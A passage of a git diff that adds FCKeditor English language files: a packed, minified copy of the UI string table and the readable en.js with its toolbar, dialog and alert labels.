+sr.js      Found: 374   Missing: 28
+sv.js      Found: 382   Missing: 20
+th.js      Found: 351   Missing: 51
+tr.js      Found: 402   Missing: 0
+uk.js      Found: 402   Missing: 0
+vi.js      Found: 402   Missing: 0
+zh-cn.js   Found: 402   Missing: 0
+zh.js      Found: 402   Missing: 0
diff --git a/fckeditor/editor/lang/en-min.js b/fckeditor/editor/lang/en-min.js
new file mode 100644 (file)
index 0000000..5c5a98a
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('aH 70={9a:"9i",9x:"aI 1j",dp:"8z 1j",30:"30",8F:"2C T",1m:"1m",2Z:"2Z",2K:"2K",K:"K",6U:"K as 57 1r",8y:"K 1X 1d",2J:"2J",7h:"W 19",6S:"13 2j",93:"g",6R:"d/G g",5A:"13 g",u:"d/G u",4y:"o",3N:"d/G o",6P:"Y",6O:"d/G Y",5c:"O",dn:"d/G O",6N:"3v",dl:"d 2d 3v",dj:"25 D",di:"d 25 D",5f:"1R",5g:"d 1R",27:"27 df",3q:"3q",2Y:"2Y",2c:"2c",db:"da d9",3r:"3r",2G:"2G",6F:"k 1h",d5:"1F 1h",d4:"m 1h",d3:"d2 1h",5n:"cZ 3n",6B:"cX 3n",1V:"1V",3l:"3l",cU:"1T P",cT:"d/13 1T P",cS:"1Z P",cR:"d/13 1Z P",6x:"1G O cP",cO:"1G cN",1z:"1z",6v:"2j",21:"21",5u:"1O",cJ:"j y",cI:"J y",3o:"3o",11:"11",l:"l",6s:"cF cE",cD:"6q cB",6p:"T 2L",cz:"d T 2L",1B:"1B",1J:"1J",cx:"3d p",cw:"j z",1U:"1U",6m:"3a z",p:"p",5F:"39 z",ct:"o p",cs:"cr 0 N 2w",6k:"G g",6j:"r",cn:"3i",cm:"3k",6h:"d 3i",cj:"R 18",6g:"d 3k",cg:"R 1a",cf:"d r",6e:"R 3f",cd:"6d 3f",6c:"c9 r",6b:"R O",6a:"r 7",5R:"O 7",c5:"o 7",c4:"Y 7",c3:"u 7",68:"p 7",67:"1J 7",5U:"3a z 7",bX:"3d p 7",64:"o p 7",5X:"j z 7",bT:"39 z 7",5Z:"1U 7",bO:"1B 7",bM:"2u;6u;2E;q 1;q 2;q 3;q 4;q 5;q 6;2u (bH)",bG:"bF 34. f 2t...",3h:"3h",bD:"1x 1r 1k 1g 9 1D 7w 9 be bB 1X 1d. 28 1k 1g 9 bA 1o bz 36?",by:"bx 33 bw 2e 1u bv 7Y 3w 5.5 82 bq. 28 1k 1g 9 1D 88 bo?",8a:"32 bm 8c \\"%1\\"",8e:"32 33 1y \\"%1\\"",bh:"bg v 8j",bd:"1j H \\"%1\\" 8q\'t 8s",8u:"16 U\'s 1t 1c 31 b8 8A 2l 8B 0 N. 29 1N b5 0 8C \\"8D 8E b1 15 8G-aZ\\". 29 aX aW 8K 15 8L 8O 2l.",aR:"1x 8P U 31 v be 8R. 2N 2T 1e 1I 1v 2V 2M 2S.",aN:"8S 3g v aL 9 2X 0 8V 2B. 2N 2T 1I 1v 2V 2M 2S.",8Z:"2R",aD:"aC",aB:"95",az:"97 1E",ax:"aw",av:"<1C>",au:"1s",9c:"f 9d 0 n",aq:"<v H>",9e:"2q",ao:"1w 3u",9f:"k 9 m (2b)",al:"m 9 k (2A)",9j:"1w 2y",aj:"ai ah",ag:"h",9n:"9o ad",ac:"ab 3b n",9q:"a9 a8",a7:"2n 3p",9t:"2n 2k w",a4:"a3 9z a1",a0:"1z",9C:"o 7",9X:"o 1s",9W:"3x 1o 9 0 1E",9V:"n",9U:"3t",9T:"9S j",9R:"14",9Q:"1f",9N:"9O 9P",9Y:"35 1O",a5:"17",a6:"aa",ae:"ak",am:"ap",ar:"k",ay:"2O 1i",aA:"2O 1M",aE:"2I",aJ:"1i",aK:"1M",aO:"m",aP:"j 10",aT:"10",aU:"1m",aY:"f 1n 0 b0 n",b6:"g",b7:"Y 7",ba:"bb bi",bj:"bl",bn:"bt Y 2r",bC:"bE",bJ:"1G 1I",bL:"x 17",bQ:"bR bU",bV:"g",bY:"g 1s",bZ:"24",c1:"g w",c2:"n",ca:"g 9 20 S 0 1r",cb:"E-2f",cc:"ce",ck:"<cl>",cp:"n",cq:"W an u",cy:"2p u h",cA:"2p cC 2q",cK:"(x cL 2e S 0 cQ)",cV:"E-2f 2E",cY:"3s d1",d6:"3s dc",de:"3t",dg:"3x 1o 9 0 1E",dk:"24",8x:"<4p>",3z:"<1v 2B>",8t:"2C F (8r)",4m:"8p F (8o)",8n:"4k F (8l)",8k:"4i F (3D)",4h:"24 8f h",4g:"2D F h",8d:"2D F 4e",89:"4d",87:"86 1P",85:"2r 1P",83:"4a 81",49:"7Z 1P",7X:"1j",7V:"7U 7T (7S)",7R:"7Q (7P)",7O:"14",7N:"1f",42:"k 37",7L:"10 37",7J:"f 1n 0 40 n",7H:"f 1n 0 e-7F 7E",7D:"f 2m an 20",7C:"1x 1v 1y 1N 7A 3c an 7y 4t 15 1N v 7v 7u",7t:"W y",7s:"7r",7q:"7p",7o:"2z",7n:"d a 1R",7k:"W 25 D",7i:"O 7",7g:"18",7f:"1a",7e:"17 2w",7c:"22",7b:"<Q H>",4R:"k",79:"1F",78:"m",77:"14",76:"3y",75:"2x",74:"1f",73:"r 72",71:"r 4Z",6Z:"6Y",6X:"6W",6V:"r 7",6T:"14",58:"3y",6Q:"2x",5d:"1f",6M:"1d 6L",5h:"<Q H>",6J:"6I",6H:"x",6G:"2d 22",6E:"<Q H>",6D:"k",5o:"1F",6A:"m",6z:"6y 22",6w:"<Q H>",5v:"10",6t:"1M",6r:"1i",5C:"2I",6o:"18 3j",6n:"1a 3j",6l:"J y",5I:"17 y",6i:"W...",5L:"11",6f:"11",5M:"1x 5Q 1r 3g v 2a.",69:"l",5T:"11 5V:",65:"l 3c:",5Y:"38 60",62:"l",63:"l 19",6C:"38 7j 2H",7l:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y 36 1A. f 1Q 0 1p 1u 1e (1q+V).",7x:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y 7K 1A. f 1Q 0 1p 1u 1e (1q+X).",80:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y b9 1A. f 1Q 0 1p 1u 1e (1q+C).",8H:"K as 8J j",8M:"K 1X 1d",8T:"f 1D 8W 0 8Y 90 94 0 1p (<1b>1q+V</1b>) 15 9b <1b>2R</1b>.",9g:"1K 21 9k 2P",9m:"13 9p 2P",9s:"9u 2s 9y",9A:"9B",9D:"9F 2h...",9G:"12 7",9I:"u 7",9J:"u h",9Z:"f 1n 0 20 1y",at:"Q S aF",aM:"aQ 9",aV:"1K",b2:"1K 19",bc:"l",bk:"l 19",bu:"1V",bK:"- x bN -",bS:"M Z S bW...",c0:"M Z 1l: x c6 2a",ch:"M Z 1l: x 2F 23",co:"M Z 1l: cu 2H 23",cG:"M Z 1l: %1 2F 23",d0:"M dd v dh. 28 1k 1g 9 4n 1o 4l?",3C:"j (L)",4j:"w",3E:"p",3G:"4f",3H:"35",4c:"h",4b:"L",3K:"2z",48:"h",47:"46",45:"44",43:"h",3S:"L",41:"1O",7G:"3X",4o:"4q 7z 4u",4z:"4A 4C",4D:"j",4G:"L",4H:"4J",4K:"4O",4P:"2s",4S:"4V",4W:"1H as 50 54",55:"R",59:"h",5b:"1a",5e:"18",5j:"h",5k:"L",5m:"D 14",5q:"5r 5t",5w:"w",5B:"j",5D:"5E",5G:"h",5J:"L",5N:"1Z P 7",5S:"1T P 7",61:"66",7a:"w",7m:"7B",7M:"84",8b:"8g",8i:"8v (1, 2, 3)",8N:"8Q 2W (a, b, c)",96:"98 2W (A, B, C)",9r:"9v 2Q 2o (i, 9E, 9H)",9K:"a2 2Q 2o (I, aS, b3)",bf:"bp",bI:"J",bP:"2h 15 3m",ci:"cv cH",cM:"T 3p",d7:"1w 3u",dm:"k 9 m (2b)",3A:"m 9 k (2A)",3F:"1w 2y",3J:"D 1H 2g",3L:"3O 2v",3P:"3R 3T (3V)",3W:"4r",4s:"4B",4E:"4I",4L:"4Q",4T:"4X",4Y:"56 (5a-8)",5i:"5l 2v",5s:"1C D 1H 2g",5K:"12 w q",5O:"1C 12 w q",6K:"7I 34 8h",8m:"J y",8I:"J o n",99:"9h J",9w:"j",9L:"g",af:"aG g",b4:"bs g",c7:"T 3m",cW:"10",3B:"k",3I:"m",3Q:"1i",3Y:"12 4v 4F (4M 4U)",51:"12 3b",5p:"5x",5H:"5P",5W:"1m",1S:"1S",7W:"2k 1S",8X:"f 2m 0 9l 9 2X S 0 N<br />(0 2U 3e d8 be 3M):",3U:"4w 2i 4N. f 2t...",5y:"(x 2i 8w)",91:"l 2U 3e",do:"27",3Z:"52 1s",7d:"8U",9M:"3w",4x:"5z 92 c8 53 9"};',62,832,'the|||||||Properties||to||||Insert||Please|Link|Name||Text|Left|Replace|Right|URL|Image|Button|Heading|Cell|||Anchor|not|Type|No|Color|Field||||Character||Window|Edit|set||Background|Paste|Value|Spell|editor|Table|List|Not|Delete|in|Page|browser||Select||Flash|check|Top|Find|Document|Remove|Width|and|Your|Border|Rows|All|Columns|strong|settings|Word|that|Height|want|Justify|Bottom|Toolbar|you|complete|Preview|type|it|keyboard|Ctrl|text|Info|security|for|popup|Language|The|name|Style|operations|Form|Other|paste|Server|Center|Show|Set|all|Checkbox|Ignore|don|Middle|must|Size|Bar|use|Smiley|Templates|Numbered|Textarea|Undo|permit|from|execute|Bulleted|anchor|Font|Alignment|changed|Target|Special|automatically|About|Do|You|found|LTR|Underline|Horizontal|available|Mail|Encoding|Colors|templates|Format|Content|features|select|Advisory|Numerals|By|Id|Menu|Up|wait|Normal|European|size|percent|Code|Selected|RTL|window|New|Popup|Address|words|Superscript|word|Baseline|Print|Copy|Break|are|Make|Abs|definitions|Roman|OK|disabled|sure|actual|blockers|Letters|open|Italic|Cut|Save|could|Unknown|command|XHTML|Reset|pasting|Position|Match|Selection|Hidden|Description|with|Radio|contents|Cells|was|Done|Row|Span|Column|Redo|Margins|Indent|Source|Title|Bold|Subscript|Message|Upload|Direction|Line|version|Send|pixels|DlgLnkTargetPopup|DlgDocLangDirRTL|DlgDocMaLeft|DlgButtonText|_top|DlgButtonTypeBtn|DlgDocLangCode|DlgButtonTypeSbm|DlgButtonTypeRst|DlgDocMaRight|DlgDocCharSet|DlgCheckboxSelected|DlgDocCharSetCE|lost|InsertImage|Central|DlgDocCharSetCT|DlgDocMaBottom|Chinese|DlgSelectValue|Traditional|DlgTemplatesLoading|Big5|DlgDocCharSetCR|lines|DlgDocMeIndex|DlgAboutBrowserInfoTab|link|DlgSelectSize|DlgLnkPopLeft|DlgSelectName|Method|DlgFormMethod|Action|DlgFormAction|DlgFormName|DlgLnkPopStatus|Scroll|DlgCheckboxValue|DlgCheckboxName|Resizable|Features|Submit|DlgLnkPopWinName|DlgLnkTargetFrameName|Topmost|DlgButtonType|Same|now|DlgLnkTargetParent|download|DlgSelectChkMulti|frame|Allow|Cyrillic|DlgDocCharSetGR|character|selections|Indexing|Loading|DlgAboutInfo|InsertImageLbl|DlgSelectOpAvail|Available|Greek|Options|DlgSelectOpText|DlgDocCharSetJP|Keywords|DlgSelectOpValue|DlgSelectBtnAdd|Japanese|Add|DlgSelectBtnModify|DlgDocCharSetKR|comma|list|Modify|DlgSelectBtnUp|Korean|DlgTableAlignLeft|DlgSelectBtnDown|DlgDocCharSetTR|separated|Down|DlgSelectBtnSetValue|Turkish|DlgDocCharSetUN|padding|selected|DlgDocMeDescr|Browser|go|value|DlgSelectBtnDelete|Unicode|plain|DlgCellWidthPx|DlgTextareaName|UTF|DlgTextareaCols|InsertTableLbl|DlgCellHeight|DlgTextareaRows|InsertSmileyLbl|InsertSmiley|DlgCellWordWrapNotSet|DlgDocCharSetWE|DlgTextName|DlgTextValue|Western|DlgTextCharWidth|DecreaseIndent|DlgCellHorAlignCenter|DlgDocMeAuthor|DlgTextMaxChars|Maximum|DlgDocCharSetOther|Characters|FontSize|DlgCellVerAlignTop|DlgTextType|Author|DlgTemplatesNoTpl|For|RemoveLink|DlgTextTypeText|DlgCellVerAlignBaseline|DlgTextTypePass|Password|SelectionField|DlgHiddenName|DlgDocMeCopy|DlgCellBorderColor|DlgHiddenValue|DlgDocDocType|DlgFindTitle|DlgFindNotFoundMsg|BulletedListProp|DlgDocDocTypeOther|Copyright|specified|TableProperties|NumberedListProp|DlgReplaceFindLbl|HiddenFieldProp|what|DlgDocPreview|TextFieldProp|DlgReplaceCaseChk|TextareaProp|case|DlgLstStart|DlgReplaceReplaceBtn|DlgReplaceReplAllBtn|ImageButtonProp|DlgReplaceReplaceLbl|Start|CheckboxProp|ButtonProp|DlgReplaceTitle|CellProperties|TableDelete|SplitCell|Merge|DeleteCells|DlgFindFindBtn|InsertColumn|InsertRow|DlgCellBtnSelect|CellCM|EditLink|DlgCellBackColor|HiddenField|DlgCellCollSpan|DlgCellRowSpan|PageBreakLbl|Universal|DlgCellVerAlignBottom|SpellCheck|DlgCellVerAlignMiddle|Formatted|FontFormat|DlgCellVerAlignNotSet|ShowTableBorders|Vertical|DlgCellVerAlign|DlgCellHorAlignRight|IncreaseIndent|DlgReplaceWordChk|DlgCellHorAlignLeft|DlgCellHorAlignNotSet|LeftJustify|DlgCellHorAlign|DlgCellWordWrapNo|Yes|DlgCellWordWrapYes|DlgDocIncXHTML|Wrap|DlgCellWordWrap|InsertLineLbl|InsertFlash|InsertFlashLbl|DlgCellWidthPc|InsertLink|RemoveFormat|DlgCellWidth|PasteText|DlgCellTitle|Summary|DlgTableSummary|Caption|DlgTableCaption|FCKLang|DlgTableCellPad|spacing|DlgTableCellSpace|DlgTableHeight|DlgTableWidthPc|DlgTableWidthPx|DlgTableWidth|DlgTableAlignRight|DlgTableAlignCenter|DlgLstType|DlgTableAlignNotSet|DlgTableAlign|DlgAboutLicenseTab|DlgTableBorder|DlgTableColumns|DlgTableRows|SelectAll|DlgTableTitle|whole|DlgSpecialCharTitle|PasteErrorPaste|DlgLstTypeCircle|DlgSmileyTitle|DlgColorSelected|Highlight|DlgColorHighlight|Clear|DlgColorBtnClear|DlgColorTitle|spaces|contain|seems|PasteErrorCut|alphabetic|multiple|begin|Circle|DlnLnkMsgInvPopName|DlnLnkMsgNoAnchor|address|mail|DlgSelectLines|DlnLnkMsgNoEMail|Include|DlnLnkMsgNoUrl|cutting|DlgLnkPopTop|DlgLstTypeDisc|DlgLnkPopHeight|DlgLnkPopWidth|Netscape|Dependent|DlgLnkPopDependent|IE|Screen|Full|DlgLnkPopFullScrn|DlgTemplatesTitle|DlgLnkPopToolbar|Explorer|Status|PasteErrorCopy|Bars|or|DlgLnkPopScroll|Disc|DlgLnkPopMenu|Location|DlgLnkPopLocation|without|DlgLnkPopResize|UnknownToolbarItem|DlgLstTypeSquare|item|DlgLnkPopWinFeat|UnknownCommand|Frame|Square|Declarations|DlgLstTypeNumbers|implemented|DlgLnkTargetTop|_self|DlgDocBgColor|DlgLnkTargetSelf|_parent|Parent|doesn|_blank|exist|DlgLnkTargetBlank|NoActiveX|Numbers|defined|DlgLnkTargetFrame|PasteWord|Expand|some|of|option|Run|ActiveX|NewPage|plug|PasteAsText|DlgDocBgImage|Plain|errors|notice|PasteFromWord|DlgLstTypeLCase|missing|resources|Lowercase|opened|It|DlgPasteMsg2|License|dialog|inside|DlgTemplatesSelMsg|following|DlgBtnOK|box|DlgTemplatesReplace|further|InsertLinkLbl|using|Close|DlgLstTypeUCase|Browse|Uppercase|DlgDocBgNoScroll|Dir|hit|DlgAlertUrl|insert|DlgGenId|DlgGenLangDirLtr|DlgPasteIgnoreFont|Nonscrolling|ltr|DlgGenLangCode|Face|template|DlgPasteRemoveStyles|DlgGenTabIndex|Tab|Styles|DlgGenClass|DlgLstTypeSRoman|DlgPasteCleanBox|DlgGenContType|Clean|Small|DlgDocCText|ToolbarCollapse|Box|Resource|ColorAutomatic|Automatic|DlgImgTitle|ColorMoreColors|ii|More|DocProps|iii|DlgAnchorTitle|DlgAnchorName|DlgLstTypeLRoman|DlgDocCLink|DlgAboutVersion|DlgImgLockRatio|Lock|Ratio|DlgImgHeight|DlgImgWidth|Alternative|DlgImgAlt|DlgImgUpload|DlgImgURL|DlgImgBtnUpload|DlgImgInfoTab|DlgBtnResetSize|DlgAnchorErrorName|DlgGenStyle|Charset|Large|Linked|DlgGenLinkCharset|DlgImgBorder|DlgImgHSpace|DlgGenTitle|Classes|Stylesheet|HSpace|Long|DlgGenLongDescr|Index|DlgImgVSpace|DlgDocCVisited|DlgGenName|Key|Access|DlgGenAccessKey|VSpace|DlgGenLangDirRtl|DlgImgAlign||DlgGenLangDir|Align|DlgGenNotSet|DlgImgAlignLeft||DlgSpellNotInDic|DlgInfoTab|DlgOpOther|Advanced|DlgAdvancedTag|DlgImgAlignAbsBottom|DlgBtnBrowseServer|DlgImgAlignAbsMiddle|DlgBtnClose|Cancel|DlgBtnCancel|DlgImgAlignBaseline|dictionary|Visited|var|Collapse|DlgImgAlignBottom|DlgImgAlignMiddle|possible|DlgSpellChangeTo|DialogBlocked|DlgImgAlignRight|DlgImgAlignTextTop|Change|BrowseServerBlocked|II|DlgImgAlignTop|DlgImgPreview|DlgSpellBtnIgnore|experience|may|DlgImgAlertUrl|ins|image|controls|DlgSpellBtnIgnoreAll|III|DlgDocCActive|enable|DlgImgLinkTab|DlgFlashTitle|limit|copying|DlgFlashChkPlay|Auto|DlgSpellBtnReplace|UnknownToolbarSet||DlgDocGeneralTab|Command|NotImplemented|Play|DlgFlashChkLoop|DlgSpellBtnReplaceAll|Loop|toolbar|DlgFlashChkMenu|cleaning|General|more||Active|Enable|DlgSpellBtnUndo|Internet|is|This|NotCompatiblePaste|before|clean|copied|DlgFlashScale|PasteWordConfirm|Scale|Processing|ProcessingXHTML|DIV|DlgDocBackTab|DlgFlashScaleAll|DlgSpellNoSuggestions|DlgFlashScaleNoBorder|FontFormats|suggestions|FormProp|DlgDocColorsTab|DlgFlashScaleFit|Exact|DlgSpellProgress|SelectionFieldProp|Fit|DlgLnkWindowTitle|progress|RadioButtonProp|DlgLnkInfoTab|DlgLnkTargetTab|DlgSpellNoMispell|DlgLnkType|DlgLnkTypeURL|AnchorProp|FlashProperties|ImageProperties|misspellings|DlgDocMargins|information|Split|DlgLnkTypeAnchor|DlgLnkTypeEMail|DlgLnkProto|MergeCells|Protocol|InsertCell|DeleteColumns|DlgSpellNoChanges|DlgDocMetaTab|DeleteRows|DlgLnkProtoOther|other|ColumnCM|RowCM|DlgSpellOneChange|DlgLnkURL|DlgLnkAnchorSel|Maximize|FitWindow|ImageButton|One|Meta|TextField|RadioButton|DlgLnkAnchorByName|PageBreak|DlgLnkAnchorById|Keyboard|Element|UniversalKeyboard|Spelling|Check|DlgSpellManyChanges|Data|BGColor|TextColor|DlgLnkNoAnchors|anchors|DlgDocPageTitle|Details|ShowDetails|Borders|document|BulletedList|BulletedListLbl|NumberedList|NumberedListLbl|DlgLnkEMail|DlgDocMaTop|Increase|DlgLnkEMailSubject|Decrease|IeSpellDownload|Subject|Block|BlockJustify|RightJustify|CenterJustify|DlgLnkEMailBody|DlgDocLangDir|will|Through|Strike|StrikeThrough|Body|checker|DlgLnkUpload|FCKeditor|DlgLnkBtnUpload|installed|InsertSpecialChar|InsertSpecialCharLbl|DlgLnkTarget|InsertLine|DlgDocLangDirLTR|InsertTable|DlgAboutAboutTab|ToolbarExpand'.split('|'),0,{}))
+
diff --git a/fckeditor/editor/lang/en.js b/fckeditor/editor/lang/en.js
new file mode 100755 (executable)
index 0000000..457258c
--- /dev/null
@@ -0,0 +1,508 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: en.js
+ *     English language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir                                    : "ltr",
+
+ToolbarCollapse                : "Collapse Toolbar",
+ToolbarExpand          : "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save                           : "Save",
+NewPage                                : "New Page",
+Preview                                : "Preview",
+Cut                                    : "Cut",
+Copy                           : "Copy",
+Paste                          : "Paste",
+PasteText                      : "Paste as plain text",
+PasteWord                      : "Paste from Word",
+Print                          : "Print",
+SelectAll                      : "Select All",
+RemoveFormat           : "Remove Format",
+InsertLinkLbl          : "Link",
+InsertLink                     : "Insert/Edit Link",
+RemoveLink                     : "Remove Link",
+Anchor                         : "Insert/Edit Anchor",
+InsertImageLbl         : "Image",
+InsertImage                    : "Insert/Edit Image",
+InsertFlashLbl         : "Flash",
+InsertFlash                    : "Insert/Edit Flash",
+InsertTableLbl         : "Table",
+InsertTable                    : "Insert/Edit Table",
+InsertLineLbl          : "Line",
+InsertLine                     : "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar      : "Insert Special Character",
+InsertSmileyLbl                : "Smiley",
+InsertSmiley           : "Insert Smiley",
+About                          : "About FCKeditor",
+Bold                           : "Bold",
+Italic                         : "Italic",
+Underline                      : "Underline",
+StrikeThrough          : "Strike Through",
+Subscript                      : "Subscript",
+Superscript                    : "Superscript",
+LeftJustify                    : "Left Justify",
+CenterJustify          : "Center Justify",
+RightJustify           : "Right Justify",
+BlockJustify           : "Block Justify",
+DecreaseIndent         : "Decrease Indent",
+IncreaseIndent         : "Increase Indent",
+Undo                           : "Undo",
+Redo                           : "Redo",
+NumberedListLbl                : "Numbered List",
+NumberedList           : "Insert/Remove Numbered List",
+BulletedListLbl                : "Bulleted List",
+BulletedList           : "Insert/Remove Bulleted List",
+ShowTableBorders       : "Show Table Borders",
+ShowDetails                    : "Show Details",
+Style                          : "Style",
+FontFormat                     : "Format",
+Font                           : "Font",
+FontSize                       : "Size",
+TextColor                      : "Text Color",
+BGColor                                : "Background Color",
+Source                         : "Source",
+Find                           : "Find",
+Replace                                : "Replace",
+SpellCheck                     : "Check Spelling",
+UniversalKeyboard      : "Universal Keyboard",
+PageBreakLbl           : "Page Break",
+PageBreak                      : "Insert Page Break",
+
+Form                   : "Form",
+Checkbox               : "Checkbox",
+RadioButton            : "Radio Button",
+TextField              : "Text Field",
+Textarea               : "Textarea",
+HiddenField            : "Hidden Field",
+Button                 : "Button",
+SelectionField : "Selection Field",
+ImageButton            : "Image Button",
+
+FitWindow              : "Maximize the editor size",
+
+// Context Menu
+EditLink                       : "Edit Link",
+CellCM                         : "Cell",
+RowCM                          : "Row",
+ColumnCM                       : "Column",
+InsertRow                      : "Insert Row",
+DeleteRows                     : "Delete Rows",
+InsertColumn           : "Insert Column",
+DeleteColumns          : "Delete Columns",
+InsertCell                     : "Insert Cell",
+DeleteCells                    : "Delete Cells",
+MergeCells                     : "Merge Cells",
+SplitCell                      : "Split Cell",
+TableDelete                    : "Delete Table",
+CellProperties         : "Cell Properties",
+TableProperties                : "Table Properties",
+ImageProperties                : "Image Properties",
+FlashProperties                : "Flash Properties",
+
+AnchorProp                     : "Anchor Properties",
+ButtonProp                     : "Button Properties",
+CheckboxProp           : "Checkbox Properties",
+HiddenFieldProp                : "Hidden Field Properties",
+RadioButtonProp                : "Radio Button Properties",
+ImageButtonProp                : "Image Button Properties",
+TextFieldProp          : "Text Field Properties",
+SelectionFieldProp     : "Selection Field Properties",
+TextareaProp           : "Textarea Properties",
+FormProp                       : "Form Properties",
+
+FontFormats                    : "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",          //REVIEW : Check _getfontformat.html
+
+// Alerts and Messages
+ProcessingXHTML                : "Processing XHTML. Please wait...",
+Done                           : "Done",
+PasteWordConfirm       : "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste     : "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem     : "Unknown toolbar item \"%1\"",
+UnknownCommand         : "Unknown command name \"%1\"",
+NotImplemented         : "Command not implemented",
+UnknownToolbarSet      : "Toolbar set \"%1\" doesn't exist",
+NoActiveX                      : "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked          : "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK                       : "OK",
+DlgBtnCancel           : "Cancel",
+DlgBtnClose                    : "Close",
+DlgBtnBrowseServer     : "Browse Server",
+DlgAdvancedTag         : "Advanced",
+DlgOpOther                     : "<Other>",
+DlgInfoTab                     : "Info",
+DlgAlertUrl                    : "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet           : "<not set>",
+DlgGenId                       : "Id",
+DlgGenLangDir          : "Language Direction",
+DlgGenLangDirLtr       : "Left to Right (LTR)",
+DlgGenLangDirRtl       : "Right to Left (RTL)",
+DlgGenLangCode         : "Language Code",
+DlgGenAccessKey                : "Access Key",
+DlgGenName                     : "Name",
+DlgGenTabIndex         : "Tab Index",
+DlgGenLongDescr                : "Long Description URL",
+DlgGenClass                    : "Stylesheet Classes",
+DlgGenTitle                    : "Advisory Title",
+DlgGenContType         : "Advisory Content Type",
+DlgGenLinkCharset      : "Linked Resource Charset",
+DlgGenStyle                    : "Style",
+
+// Image Dialog
+DlgImgTitle                    : "Image Properties",
+DlgImgInfoTab          : "Image Info",
+DlgImgBtnUpload                : "Send it to the Server",
+DlgImgURL                      : "URL",
+DlgImgUpload           : "Upload",
+DlgImgAlt                      : "Alternative Text",
+DlgImgWidth                    : "Width",
+DlgImgHeight           : "Height",
+DlgImgLockRatio                : "Lock Ratio",
+DlgBtnResetSize                : "Reset Size",
+DlgImgBorder           : "Border",
+DlgImgHSpace           : "HSpace",
+DlgImgVSpace           : "VSpace",
+DlgImgAlign                    : "Align",
+DlgImgAlignLeft                : "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline    : "Baseline",
+DlgImgAlignBottom      : "Bottom",
+DlgImgAlignMiddle      : "Middle",
+DlgImgAlignRight       : "Right",
+DlgImgAlignTextTop     : "Text Top",
+DlgImgAlignTop         : "Top",
+DlgImgPreview          : "Preview",
+DlgImgAlertUrl         : "Please type the image URL",
+DlgImgLinkTab          : "Link",
+
+// Flash Dialog
+DlgFlashTitle          : "Flash Properties",
+DlgFlashChkPlay                : "Auto Play",
+DlgFlashChkLoop                : "Loop",
+DlgFlashChkMenu                : "Enable Flash Menu",
+DlgFlashScale          : "Scale",
+DlgFlashScaleAll       : "Show all",
+DlgFlashScaleNoBorder  : "No Border",
+DlgFlashScaleFit       : "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle      : "Link",
+DlgLnkInfoTab          : "Link Info",
+DlgLnkTargetTab                : "Target",
+
+DlgLnkType                     : "Link Type",
+DlgLnkTypeURL          : "URL",
+DlgLnkTypeAnchor       : "Link to anchor in the text",
+DlgLnkTypeEMail                : "E-Mail",
+DlgLnkProto                    : "Protocol",
+DlgLnkProtoOther       : "<other>",
+DlgLnkURL                      : "URL",
+DlgLnkAnchorSel                : "Select an Anchor",
+DlgLnkAnchorByName     : "By Anchor Name",
+DlgLnkAnchorById       : "By Element Id",
+DlgLnkNoAnchors                : "(No anchors available in the document)",             //REVIEW : Change < and > with ( and )
+DlgLnkEMail                    : "E-Mail Address",
+DlgLnkEMailSubject     : "Message Subject",
+DlgLnkEMailBody                : "Message Body",
+DlgLnkUpload           : "Upload",
+DlgLnkBtnUpload                : "Send it to the Server",
+
+DlgLnkTarget           : "Target",
+DlgLnkTargetFrame      : "<frame>",
+DlgLnkTargetPopup      : "<popup window>",
+DlgLnkTargetBlank      : "New Window (_blank)",
+DlgLnkTargetParent     : "Parent Window (_parent)",
+DlgLnkTargetSelf       : "Same Window (_self)",
+DlgLnkTargetTop                : "Topmost Window (_top)",
+DlgLnkTargetFrameName  : "Target Frame Name",
+DlgLnkPopWinName       : "Popup Window Name",
+DlgLnkPopWinFeat       : "Popup Window Features",
+DlgLnkPopResize                : "Resizable",
+DlgLnkPopLocation      : "Location Bar",
+DlgLnkPopMenu          : "Menu Bar",
+DlgLnkPopScroll                : "Scroll Bars",
+DlgLnkPopStatus                : "Status Bar",
+DlgLnkPopToolbar       : "Toolbar",
+DlgLnkPopFullScrn      : "Full Screen (IE)",
+DlgLnkPopDependent     : "Dependent (Netscape)",
+DlgLnkPopWidth         : "Width",
+DlgLnkPopHeight                : "Height",
+DlgLnkPopLeft          : "Left Position",
+DlgLnkPopTop           : "Top Position",
+
+DlnLnkMsgNoUrl         : "Please type the link URL",
+DlnLnkMsgNoEMail       : "Please type the e-mail address",
